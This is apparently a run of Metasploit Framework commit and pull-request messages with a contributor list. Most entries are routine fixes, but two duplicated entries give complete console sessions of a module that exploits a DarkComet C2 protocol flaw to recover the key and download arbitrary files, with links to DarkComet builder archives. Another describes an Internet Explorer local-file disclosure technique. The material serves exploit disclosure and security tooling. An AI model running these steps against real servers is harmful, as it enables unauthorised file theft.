- Fixed stack trace bug when value of "packet" is nill.
- Verified logic of Oracle TNS Listener poisoning which requires an ACCEPT response to be marked as vulnerable.
We currently can't distinguish between 8.3(2) and 8.3(2)-npe versions from the SNMP strings. We've commented out the 8.3(2)-npe offsets, but in the future, we'd like to incorporate this version.
the ssh_login_pubkey scanner relied on functionality that
was monkeypatched into our vendored copy. this was an uneeded solution
in the first palce, and we now use a more sane method of accomplishing
the same thing
It was found that Internet Explorer allows the disclosure of local file
names. This issue exists due to the fact that Internet Explorer behaves
different for file:// URLs pointing to existing and non-existent files.
When used in combination with HTML5 sandbox iframes it is possible to
use this behavior to find out if a local file exists. This technique
only works on Internet Explorer 10 & 11 since these support the HTML5
sandbox. Also it is not possible to do this from a regular website as
file:// URLs are blocked all together. The attack must be performed
locally (works with Internet zone Mark of the Web) or from a share.
Normally, the module prints nothing unless VERBOSE is true. In practice,
we at least want to see responded-to hosts. We leave details to be
printed when VERBOSE is set.
Fixes#6983. When the auxiliary/scanner/http/http_login module discovers a successful basic auth user+password combination, make sure we properly store the password by specifically telling the credentials gem that the private data we're storing is a :password.
use a convience method to DRY up creation
of the SSHFactory inside modules. This will make it easier
to apply changes as needed in future. Also changed msframework attr
to just framework as per our normal convention
MS-1688
removed vendored net::ssh
pulled in net:ssh gem
made Rex::Socket::SSHFactory clas to bridge rex sockets in
Renamed getpeername to getpeername-as_array to not override
core socket behaviour
MS-1688
Checking for "(ERROR_STACK=(ERROR=" is not enough to mark a target as vulnerable. TNS response packet bytes for "Accept" and "Refuse" are required to be sure.
Reference: https://thesprawl.org/research/oracle-tns-protocol/
(https://www.nccgroup.trust/globalassets/our-research/us/whitepapers/PEST-CONTROL.pdf) which allows
an attacker to download arbitrary files from the DarkComet C2. The vulnerability possibly affects versions
prior to 3.2 as well. The vulnerability can be exploited without knowledge of the shared secret key
by abusing a flaw in the cryptographic protocol to carry out a limited version of the exploit allowing
for key recovery, after which the exploit can be used to download arbitrary files from a DarkComet C2 server.
See http://samvartaka.github.io/exploitation/2016/06/03/dead-rats-exploiting-malware
for details.
See https://mega.nz/#!wlZkSJLK!NI_Z-9UoPBQ0MDEYXLVr1wUJyVV70qVprWqSUol_53k
for the DarkComet 5.3.1 C2 server / builder
See https://mega.nz/#!AxRmkQLb!MVjwua3qrzgyXq7vUWSxISwVE7vQ8rEJbexieb8s0Ro
for the DarkComet 4.2F C2 server / builder (archive password is 'tr')
## Console output
Below is an example of the exploit running against versions 5.3.1 and 4.2F
(DarkComet C2 server password is set to 'darkcometpass' and unknown to attacker).
### Version 5.3.1 (unknown password)
```
msf > use auxiliary/gather/darkcomet_filedownloader
msf auxiliary(darkcomet_filedownloader) > show options
Module options (auxiliary/gather/darkcomet_filedownloader):
Name Current Setting Required Description
---- --------------- -------- -----------
BRUTETIMEOUT 1 no Timeout (in seconds) for bruteforce attempts
KEY no DarkComet RC4 key (include DC prefix with key eg. #KCMDDC51#-890password)
LHOST 0.0.0.0 yes This is our IP (as it appears to the DarkComet C2 server)
NEWVERSION true no Set to true if DarkComet version >= 5.1, set to false if version < 5.1
RHOST 0.0.0.0 yes The target address
RPORT 1604 yes The target port
STORE_LOOT true no Store file in loot (will simply output file to console if set to false).
TARGETFILE no Target file to download (assumes password is set)
msf auxiliary(darkcomet_filedownloader) > set RHOST 192.168.0.104
RHOST => 192.168.0.104
msf auxiliary(darkcomet_filedownloader) > set LHOST 192.168.0.102
LHOST => 192.168.0.102
msf auxiliary(darkcomet_filedownloader) > run
[*] 192.168.0.104:1604 - C2 server uses password [darkcometpass]
[*] 192.168.0.104:1604 - Storing data to loot...
[*] Auxiliary module execution completed
msf auxiliary(darkcomet_filedownloader) > set STORE_LOOT false
STORE_LOOT => false
msf auxiliary(darkcomet_filedownloader) > set KEY #KCMDDC51#-890darkcometpass
KEY => #KCMDDC51#-890darkcometpass
msf auxiliary(darkcomet_filedownloader) > set TARGETFILE C:\\secret.txt
TARGETFILE => C:\secret.txt
msf auxiliary(darkcomet_filedownloader) > run
[*] 192.168.0.104:1604 - omgsecret
[*] Auxiliary module execution completed
```
### Version 4.2F (unknown password)
```
msf > use auxiliary/gather/darkcomet_filedownloader
msf auxiliary(darkcomet_filedownloader) > show options
Module options (auxiliary/gather/darkcomet_filedownloader):
Name Current Setting Required Description
---- --------------- -------- -----------
BRUTETIMEOUT 1 no Timeout (in seconds) for bruteforce attempts
KEY no DarkComet RC4 key (include DC prefix with key eg. #KCMDDC51#-890password)
LHOST 0.0.0.0 yes This is our IP (as it appears to the DarkComet C2 server)
NEWVERSION true no Set to true if DarkComet version >= 5.1, set to false if version < 5.1
RHOST 0.0.0.0 yes The target address
RPORT 1604 yes The target port
STORE_LOOT true no Store file in loot (will simply output file to console if set to false).
TARGETFILE no Target file to download (assumes password is set)
msf auxiliary(darkcomet_filedownloader) > set RHOST 192.168.0.104
RHOST => 192.168.0.104
msf auxiliary(darkcomet_filedownloader) > set LHOST 192.168.0.102
LHOST => 192.168.0.102
msf auxiliary(darkcomet_filedownloader) > set NEWVERSION false
NEWVERSION => false
msf auxiliary(darkcomet_filedownloader) > run
[*] 192.168.0.104:1604 - Missing 1 bytes of keystream ...
[*] 192.168.0.104:1604 - Initiating brute force ...
[*] 192.168.0.104:1604 - C2 server uses password [darkcometpass]
[*] 192.168.0.104:1604 - Storing data to loot...
[*] Auxiliary module execution completed
msf auxiliary(darkcomet_filedownloader) > set KEY #KCMDDC42F#-890darkcometpass
KEY => #KCMDDC42F#-890darkcometpass
msf auxiliary(darkcomet_filedownloader) > set STORE_LOOT false
STORE_LOOT => false
msf auxiliary(darkcomet_filedownloader) > set TARGETFILE C:\\secret.txt
TARGETFILE => C:\secret.txt
msf auxiliary(darkcomet_filedownloader) > run
[*] 192.168.0.104:1604 - omgsecret
[*] Auxiliary module execution completed
```
replaced "$1" on line 51 with "Regexp.last_match(1)
restructed the print statement on line 56 to more closely match suggestion
removed "self." from line 71
changed line 78 to loop for 2 seconds insetead of 1 second
(https://www.nccgroup.trust/globalassets/our-research/us/whitepapers/PEST-CONTROL.pdf), possibly affecting
earlier versions as well. The vulnerability can be exploited without knowledge of the secret key
by abusing a flaw in the cryptographic protocol to carry out a limited version of the exploit allowing
for key recovery after which the exploit can be used to download arbitrary files from a DarkComet C2 server.
See http://samvartaka.github.io/exploitation/2016/06/03/dead-rats-exploiting-malware
for details.
## Console output
Below is an example of the exploit running against versions 5.3.1 and 4.2F
(DarkComet C2 server password is set to 'darkcometpass' and unknown to attacker).
### Version 5.3.1 (unknown password)
```
msf > use auxiliary/gather/darkcomet_filedownloader
msf auxiliary(darkcomet_filedownloader) > show options
Module options (auxiliary/gather/darkcomet_filedownloader):
Name Current Setting Required Description
---- --------------- -------- -----------
BRUTETIMEOUT 1 no Timeout (in seconds) for bruteforce attempts
KEY no DarkComet RC4 key (include DC prefix with key eg. #KCMDDC51#-890password)
LHOST 0.0.0.0 yes This is our IP (as it appears to the DarkComet C2 server)
NEWVERSION true no Set to true if DarkComet version >= 5.1, set to false if version < 5.1
RHOST 0.0.0.0 yes The target address
RPORT 1604 yes The target port
STORE_LOOT true no Store file in loot (will simply output file to console if set to false).
TARGETFILE no Target file to download (assumes password is set)
msf auxiliary(darkcomet_filedownloader) > set RHOST 192.168.0.104
RHOST => 192.168.0.104
msf auxiliary(darkcomet_filedownloader) > set LHOST 192.168.0.102
LHOST => 192.168.0.102
msf auxiliary(darkcomet_filedownloader) > run
[*] 192.168.0.104:1604 - C2 server uses password [darkcometpass]
[*] 192.168.0.104:1604 - Storing data to loot...
[*] Auxiliary module execution completed
msf auxiliary(darkcomet_filedownloader) > set STORE_LOOT false
STORE_LOOT => false
msf auxiliary(darkcomet_filedownloader) > set KEY #KCMDDC51#-890darkcometpass
KEY => #KCMDDC51#-890darkcometpass
msf auxiliary(darkcomet_filedownloader) > set TARGETFILE C:\\secret.txt
TARGETFILE => C:\secret.txt
msf auxiliary(darkcomet_filedownloader) > run
[*] 192.168.0.104:1604 - omgsecret
[*] Auxiliary module execution completed
```
### Version 4.2F (unknown password)
```
msf > use auxiliary/gather/darkcomet_filedownloader
msf auxiliary(darkcomet_filedownloader) > show options
Module options (auxiliary/gather/darkcomet_filedownloader):
Name Current Setting Required Description
---- --------------- -------- -----------
BRUTETIMEOUT 1 no Timeout (in seconds) for bruteforce attempts
KEY no DarkComet RC4 key (include DC prefix with key eg. #KCMDDC51#-890password)
LHOST 0.0.0.0 yes This is our IP (as it appears to the DarkComet C2 server)
NEWVERSION true no Set to true if DarkComet version >= 5.1, set to false if version < 5.1
RHOST 0.0.0.0 yes The target address
RPORT 1604 yes The target port
STORE_LOOT true no Store file in loot (will simply output file to console if set to false).
TARGETFILE no Target file to download (assumes password is set)
msf auxiliary(darkcomet_filedownloader) > set RHOST 192.168.0.104
RHOST => 192.168.0.104
msf auxiliary(darkcomet_filedownloader) > set LHOST 192.168.0.102
LHOST => 192.168.0.102
msf auxiliary(darkcomet_filedownloader) > set NEWVERSION false
NEWVERSION => false
msf auxiliary(darkcomet_filedownloader) > run
[*] 192.168.0.104:1604 - Missing 1 bytes of keystream ...
[*] 192.168.0.104:1604 - Initiating brute force ...
[*] 192.168.0.104:1604 - C2 server uses password [darkcometpass]
[*] 192.168.0.104:1604 - Storing data to loot...
[*] Auxiliary module execution completed
msf auxiliary(darkcomet_filedownloader) > set KEY #KCMDDC42F#-890darkcometpass
KEY => #KCMDDC42F#-890darkcometpass
msf auxiliary(darkcomet_filedownloader) > set STORE_LOOT false
STORE_LOOT => false
msf auxiliary(darkcomet_filedownloader) > set TARGETFILE C:\\secret.txt
TARGETFILE => C:\secret.txt
msf auxiliary(darkcomet_filedownloader) > run
[*] 192.168.0.104:1604 - omgsecret
[*] Auxiliary module execution completed
```
This scanner module doesn't tell you the location of the found information. So when using the -R option to fill the RHOSTS all you get is a bunch of successful findings, however you won't know to which systems they belong.
When a module uses the HttpClient mixin but registers the USERNAME
and PASSWORD datastore options in order to perform a form auth,
it ruins the ability to also perform a basic auth (sometimes it's
possible to see both). To avoid option naming conflicts, basic auth
options are now HTTPUSERNAME and HTTPPASSWORD.
Fix#4885
Stephen Haywood
Interference Security
nixawk
Brendan
Brent Cook
TheNaterz
Tijl Deneut
zerosum0x0
Jenna Magius
David Maloney
Pearce Barry
h00die
William Vu
wchen-r7
Pedro Ribeiro
aushack
james-otten
Jon Hart
Brandon Perry
Yorick Koster
Yorick Koster
James Lee
thao doan
h00die
William Webb
HD Moore
samvartaka
Trenton Ivey
Adam Compton
dmohanty-r7
sho-luv
Tijl Deneut
Bruno Morisson